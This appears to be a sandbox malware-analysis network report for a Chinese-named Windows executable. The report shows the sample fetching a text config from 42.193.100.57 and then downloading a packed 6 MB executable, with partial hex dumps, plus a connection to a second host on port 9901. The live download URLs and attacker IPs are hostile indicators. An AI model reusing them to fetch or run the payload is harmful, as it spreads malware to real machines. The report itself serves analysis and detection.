        Nov 20, 2024 09:15:00.877604008 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877633095 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877702951 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877717972 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877727985 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877739906 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877746105 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877759933 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877790928 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877871990 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877882957 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877896070 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877907991 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877912045 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877919912 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877933979 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.877935886 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877980947 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.877981901 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878113031 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878150940 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878232002 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878246069 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878281116 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878294945 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878408909 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878421068 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878432035 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878442049 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878448009 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878453970 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878467083 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878468037 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878479958 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878498077 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878516912 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878560066 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878575087 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878585100 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878596067 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878606081 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878606081 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878618956 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878624916 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878659964 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878906965 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878917933 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878931046 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.878947020 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878959894 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.878981113 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879091978 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879102945 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879113913 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879125118 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879127979 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879146099 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879148006 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879158020 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879169941 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879179001 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879179955 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879192114 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879204035 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879210949 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879216909 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879228115 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879236937 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879260063 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879292965 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879304886 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879322052 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879333973 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879334927 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879347086 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879359007 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879359007 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879369974 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879381895 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879389048 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879393101 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879406929 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879407883 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879415035 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879422903 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879447937 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879477978 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.879947901 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879962921 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879975080 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.879987955 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880001068 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880018950 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880119085 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880131006 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880141973 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880153894 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880156994 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880177975 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880208015 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880284071 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880296946 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880307913 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880317926 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880321980 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880335093 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880347013 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:00.880351067 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880378008 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:00.880387068 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:01.185764074 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:01.185796022 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:01.185815096 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:01.185817003 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:01.185848951 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:01.185869932 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:01.185872078 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:01.185884953 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:01.185897112 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:01.185906887 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:01.185921907 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:01.185945034 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:01.403337002 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:01.403383970 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:01.842844009 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:01.842885971 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:02.707160950 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:02.707242012 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:02.903137922 CET497119901192.168.2.1138.6.175.134
        Nov 20, 2024 09:15:02.908807993 CET99014971138.6.175.134192.168.2.11
        Nov 20, 2024 09:15:02.908907890 CET497119901192.168.2.1138.6.175.134
        Nov 20, 2024 09:15:02.909787893 CET497119901192.168.2.1138.6.175.134
        Nov 20, 2024 09:15:02.915440083 CET99014971138.6.175.134192.168.2.11
        Nov 20, 2024 09:15:04.404062033 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:04.404146910 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:07.833271027 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:07.833367109 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:14.746208906 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:14.750166893 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:24.287729025 CET99014971138.6.175.134192.168.2.11
        Nov 20, 2024 09:15:24.287888050 CET497119901192.168.2.1138.6.175.134
        Nov 20, 2024 09:15:24.287925959 CET497119901192.168.2.1138.6.175.134
        Nov 20, 2024 09:15:24.292963028 CET99014971138.6.175.134192.168.2.11
        Nov 20, 2024 09:15:28.307971954 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:28.308043957 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:15:56.982780933 CET804970342.193.100.57192.168.2.11
        Nov 20, 2024 09:15:56.983349085 CET4970380192.168.2.1142.193.100.57
        Nov 20, 2024 09:16:33.124471903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:16:33.132050991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:16:33.138262033 CET4970180192.168.2.1142.193.100.57
        • 42.193.100.57
        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
        0192.168.2.114970142.193.100.57806648C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
        TimestampBytes transferredDirectionData
        Nov 20, 2024 09:14:43.165663958 CET259OUTGET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1
        Accept: */*
        Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt
        Accept-Language: zh-cn
        User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
        Host: 42.193.100.57
        Cache-Control: no-cache
        Nov 20, 2024 09:14:44.096400976 CET576INHTTP/1.1 200 OK
        Content-Type: text/plain
        Last-Modified: Tue, 23 Jul 2024 10:50:23 GMT
        Accept-Ranges: bytes
        ETag: "fcb8701eeedcda1:0"
        Server: Microsoft-IIS/8.5
        Date: Wed, 20 Nov 2024 08:14:44 GMT
        Content-Length: 351
        Data Raw: b0 e6 b1 be a1 be 34 2e 38 a1 bf b0 e6 b1 be 0d 0a 0a 0a c7 bf d6 c6 b8 fc d0 c2 a1 be d5 e6 a1 bf c7 bf d6 c6 b8 fc d0 c2 0d 0a 0a 0a c3 fb d7 d6 a1 be c7 a7 c7 a7 cd ed d0 c7 31 36 a1 bf c3 fb d7 d6 0a 0a 0d 0a d2 bb bc fc b9 d8 bb fa a1 be bc d9 a1 bf d2 bb bc fc b9 d8 bb fa 0d 0a 0a 0a cf c2 d4 d8 b5 d8 d6 b7 a1 be 68 74 74 70 3a 2f 2f 34 32 2e 31 39 33 2e 31 30 30 2e 35 37 2f 25 45 35 25 38 44 25 38 33 25 45 35 25 38 44 25 38 33 25 45 36 25 39 39 25 39 41 25 45 36 25 39 38 25 39 46 31 36 2e 65 78 65 a1 bf cf c2 d4 d8 b5 d8 d6 b7 0a 0a 0d 0a d5 e2 ca c7 b9 ab b8 e6 a1 be 20 b9 fe ba f4 ba f4 20 b7 c9 b7 c9 d3 e3 20 b9 d8 d3 f0 d3 f0 20 d5 c5 b7 c9 b7 c9 20 20 ce e4 cb c9 cb c9 a1 bf d5 e2 ca c7 b9 ab b8 e6 0a 0a 0a 0a 0d 0a d5 e2 ca c7 c8 d5 d6 be a1 be 31 2e b8 fc d0 c2 c1 cb c6 a8 31 a1 a3 2f 6e 32 2e d3 c5 bb af b8 f6 c6 a8 32 a1 a3 2f 6e 33 2e d0 c2 d4 f6 b8 f6 c6 a8 a1 a3 2f 6e 34 2e cc e1 c9 fd c1 cb d3 c3 bb a7 b5 c4 ca b9 d3 c3 cc e5 d1 e9 a3 ac b8 d0 be f5 d6 b1 bd d3 c0 ad c2 fa a1 a3 [TRUNCATED]
        Data Ascii: 4.816http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe 1.1/n2.2/n3./n4.
        Nov 20, 2024 09:14:44.170099974 CET132OUTGET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1
        User-Agent: Agent7207437
        Host: 42.193.100.57
        Cache-Control: no-cache
        Nov 20, 2024 09:14:44.500780106 CET1236INHTTP/1.1 200 OK
        Content-Type: application/octet-stream
        Last-Modified: Tue, 23 Jul 2024 08:08:40 GMT
        Accept-Ranges: bytes
        ETag: "db12387d7dcda1:0"
        Server: Microsoft-IIS/8.5
        Date: Wed, 20 Nov 2024 08:14:44 GMT
        Content-Length: 6123520
        Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
        Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Yf+wv@hP.text `.rdataxS'@@.data9@.vmp06)?``.vmp1\@h\``.rsrc\@@
        Nov 20, 2024 09:14:44.500897884 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:44.500910044 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:44.500921965 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:44.500932932 CET752INData Raw: 23 09 7f 6d 4f 4b 0f e3 f8 d2 fe 76 25 ad 36 fb dc c8 5d 34 d7 54 6c d5 d0 6a aa 4d a4 01 5b 85 37 4e 03 c2 4a a6 7a 36 42 ba f7 06 43 df f5 ec da 8e b1 b8 3b dc 2b a8 73 b2 ec 04 b4 0f f1 ec b8 73 4c 1d ec b9 01 1f 3e 6c 3a 21 de dd e1 df 64 97
        Data Ascii: #mOKv%6]4TljM[7NJz6BC;+ssL>l:!d0k.S#QIyBK#EARa2#i1EKDE#=K{/TK#5TlAq{]$b7RCAE)1Hg%iocXpNNo%o=
        Nov 20, 2024 09:14:44.724827051 CET1236INData Raw: 86 ef fd 5e e5 d8 61 12 ed 67 3f 4d b5 a0 91 23 54 52 6e 2e bb c2 4e 67 21 b9 d7 cb 4e f4 3d d9 4a e9 a2 f7 9d 0e ba 7a 29 2f 40 ae 28 72 09 6b e9 9b 2a b1 ad 84 48 46 b1 00 2d d6 f1 53 2f 06 41 0e ca d2 79 d8 f1 8f a2 4c f3 f1 93 f7 9d 02 0e 00
        Data Ascii: ^ag?M#TRn.Ng!N=Jz)/@(rk*HF-S/AyLayBs\AHhwn:fLEpRi4lLgqo%Y*>Zcq6N}5B&koCZLUX>{x'Z D*uRW8qlp`e?s
        Nov 20, 2024 09:14:44.724853992 CET1236INData Raw: 88 08 c0 d2 55 f9 81 ef 04 00 00 00 80 de 14 c1 f2 2a 66 0f ba f2 49 8b 17 f8 f7 c4 10 41 1c 59 33 d3 81 f2 df 7d 4d 1d f8 66 f7 c5 4a 5e f7 da e9 b5 c7 0c 00 f8 33 da 81 ff 66 52 8e 59 66 f7 c1 c9 70 e9 c0 3f 0a 00 81 f2 27 55 c4 32 0f ca e9 ab
        Data Ascii: U*fIAY3}MfJ^3fRYfp?'U2VY[%.tFfSffEffD%3SfD%;ffUffffffEfD%f3
        Nov 20, 2024 09:14:44.724865913 CET448INData Raw: f4 a1 00 89 4b 31 96 b9 4c 46 2c e8 45 df ba d8 42 a8 19 4d 26 36 8f 7d 21 41 35 2c 28 d8 a3 1c 2f af 56 11 27 22 c0 21 20 55 7a 70 29 cc ec 40 2e bb 4f d5 4a 25 d9 e5 4d 52 63 b4 44 cb f5 84 43 bc 64 99 fc 2c f2 a9 fb 5b 48 f8 f2 c2 de c8 f5 b5
        Data Ascii: K1LF,EBM&6}!A5,(/V'"! Uzp)@.OJ%MRcDCd,[H}]+m\Q<!ls@@putY%^"}+r,mHG]OzFk<A1INnPG$`@$#i*=-:`}#Mg,J8=
        Nov 20, 2024 09:14:44.724878073 CET1236INData Raw: 49 1c 1c 7b f6 8c 8a 4b f1 fb 30 1a f8 62 a6 2a ff 15 05 bf 9b 8b 93 8f 9c fc 29 de 95 65 bf ee 92 12 12 82 28 d2 84 b2 2f a5 3e e3 26 3c a8 d3 21 4b 0b 46 45 d5 9d 76 42 a2 27 27 4b 3b b1 17 4c 4c 20 0a f3 dc b6 3a f4 ab 0c 6b fd 32 9a 5b fa 45
        Data Ascii: I{K0b*)e(/>&<!KFEvB''K;LL :k2[E95BvZ!VoVfC7&QDD*Ch{J/KMX]).q'( _FLAH`Opf+UV,%y7"w*~KR{~gKy(m
        Nov 20, 2024 09:14:44.724889994 CET1236INData Raw: ad 7c 7e 41 f9 33 da f7 c5 01 43 72 31 e9 e7 d4 09 00 f5 f9 c1 c1 03 49 66 81 fa 8f 6b f7 d9 f9 3b e7 66 3d d3 04 0f c9 81 f1 66 3c 5f 5b f5 f9 f7 d1 e9 88 90 0f 00 e9 89 b5 55 00 1c b6 d9 38 f7 1b ac eb 37 ea 7a 15 da 20 d8 18 bc 8f 8b c6 81 ee
        Data Ascii: |~A3Cr1Ifk;f=f<_[U87z H%L=qB7UD%;ff3ff5FW~E(<13DIqpZfNfcSfOf;*5)zff
        Nov 20, 2024 09:14:44.724906921 CET1236INData Raw: e7 9d fa 1a b8 67 c4 ff 9c da ca c2 8d 8a 94 c8 00 00 00 00 f1 59 63 85 2f 8d 65 75 3c e5 4f 87 7a 1a 51 a0 8f 19 79 30 60 d1 9b 24 69 37 ff ff ff ff d6 12 32 c6 90 83 9d ee 7a 99 c4 7a 21 a8 f9 70 2f 6a fb 06 59 fd dc 7f 00 cb 49 05 7a 22 1c ec
        Data Ascii: gYc/eu<OzQy0`$i72zz!p/jYIz"W11%:LyBUaj&odM1x<r79hz^1f=3_7~p&&^MASa~a%iK Q_t|}zQz0hQ&z


        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
        1192.168.2.114970242.193.100.57806648C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
        TimestampBytes transferredDirectionData
        Nov 20, 2024 09:14:44.511332035 CET106OUTGET /%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe HTTP/1.1
        Host: 42.193.100.57
        Cache-Control: no-cache
        Nov 20, 2024 09:14:45.429563999 CET1236INHTTP/1.1 200 OK
        Content-Type: application/octet-stream
        Last-Modified: Tue, 23 Jul 2024 08:08:40 GMT
        Accept-Ranges: bytes
        ETag: "db12387d7dcda1:0"
        Server: Microsoft-IIS/8.5
        Date: Wed, 20 Nov 2024 08:14:45 GMT
        Content-Length: 6123520
        Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 25 59 9f 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 a0 11 00 00 00 2b 00 00 00 00 00 fe 77 76 00 00 10 00 00 00 b0 11 00 00 00 40 00 00 10 00 00 00 10 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 c5 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 98 c4 00 68 01 00 00 00 10 c5 00 b5 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
        Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Yf+wv@hP.text `.rdataxS'@@.data9@.vmp06)?``.vmp1\@h\``.rsrc\@@
        Nov 20, 2024 09:14:45.429582119 CET224INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:45.429603100 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:45.429610014 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:45.429615974 CET1236INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
        Data Ascii:
        Nov 20, 2024 09:14:45.429622889 CET528INData Raw: 4e 6f 1d 86 aa 07 bc e1 e6 90 25 b8 c0 d8 d9 89 6f 3d 1a e5 dc 9d 7e 74 f2 b4 fe 46 27 b1 b4 6a d1 95 01 23 44 1e e2 4d 4b 85 f3 2e ac dc 4d 7e 0f 21 23 a2 e2 9a 4a 4b 8f 5c b2 ad dc 0a 7f ec 0b 23 3d d4 74 f6 dc 51 62 74 fa b4 90 d5 04 93 99 0e
        Data Ascii: No%o=~tF'j#DMK.M~!#JK\#=tQbtH$3L%Glmigz^Xd[)-T%->HKK?$Xs#+$3t#P5WH#!}F/#fUffff:D%


        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
        2192.168.2.114970342.193.100.57805608C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe
        TimestampBytes transferredDirectionData
        Nov 20, 2024 09:14:56.144382000 CET259OUTGET /%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt HTTP/1.1
        Accept: */*
        Referer: http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt
        Accept-Language: zh-cn
        User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
        Host: 42.193.100.57
        Cache-Control: no-cache
        Nov 20, 2024 09:14:57.191952944 CET576INHTTP/1.1 200 OK
        Content-Type: text/plain
        Last-Modified: Tue, 23 Jul 2024 10:50:23 GMT
        Accept-Ranges: bytes
        ETag: "fcb8701eeedcda1:0"
        Server: Microsoft-IIS/8.5
        Date: Wed, 20 Nov 2024 08:14:56 GMT
        Content-Length: 351
        Data Raw: b0 e6 b1 be a1 be 34 2e 38 a1 bf b0 e6 b1 be 0d 0a 0a 0a c7 bf d6 c6 b8 fc d0 c2 a1 be d5 e6 a1 bf c7 bf d6 c6 b8 fc d0 c2 0d 0a 0a 0a c3 fb d7 d6 a1 be c7 a7 c7 a7 cd ed d0 c7 31 36 a1 bf c3 fb d7 d6 0a 0a 0d 0a d2 bb bc fc b9 d8 bb fa a1 be bc d9 a1 bf d2 bb bc fc b9 d8 bb fa 0d 0a 0a 0a cf c2 d4 d8 b5 d8 d6 b7 a1 be 68 74 74 70 3a 2f 2f 34 32 2e 31 39 33 2e 31 30 30 2e 35 37 2f 25 45 35 25 38 44 25 38 33 25 45 35 25 38 44 25 38 33 25 45 36 25 39 39 25 39 41 25 45 36 25 39 38 25 39 46 31 36 2e 65 78 65 a1 bf cf c2 d4 d8 b5 d8 d6 b7 0a 0a 0d 0a d5 e2 ca c7 b9 ab b8 e6 a1 be 20 b9 fe ba f4 ba f4 20 b7 c9 b7 c9 d3 e3 20 b9 d8 d3 f0 d3 f0 20 d5 c5 b7 c9 b7 c9 20 20 ce e4 cb c9 cb c9 a1 bf d5 e2 ca c7 b9 ab b8 e6 0a 0a 0a 0a 0d 0a d5 e2 ca c7 c8 d5 d6 be a1 be 31 2e b8 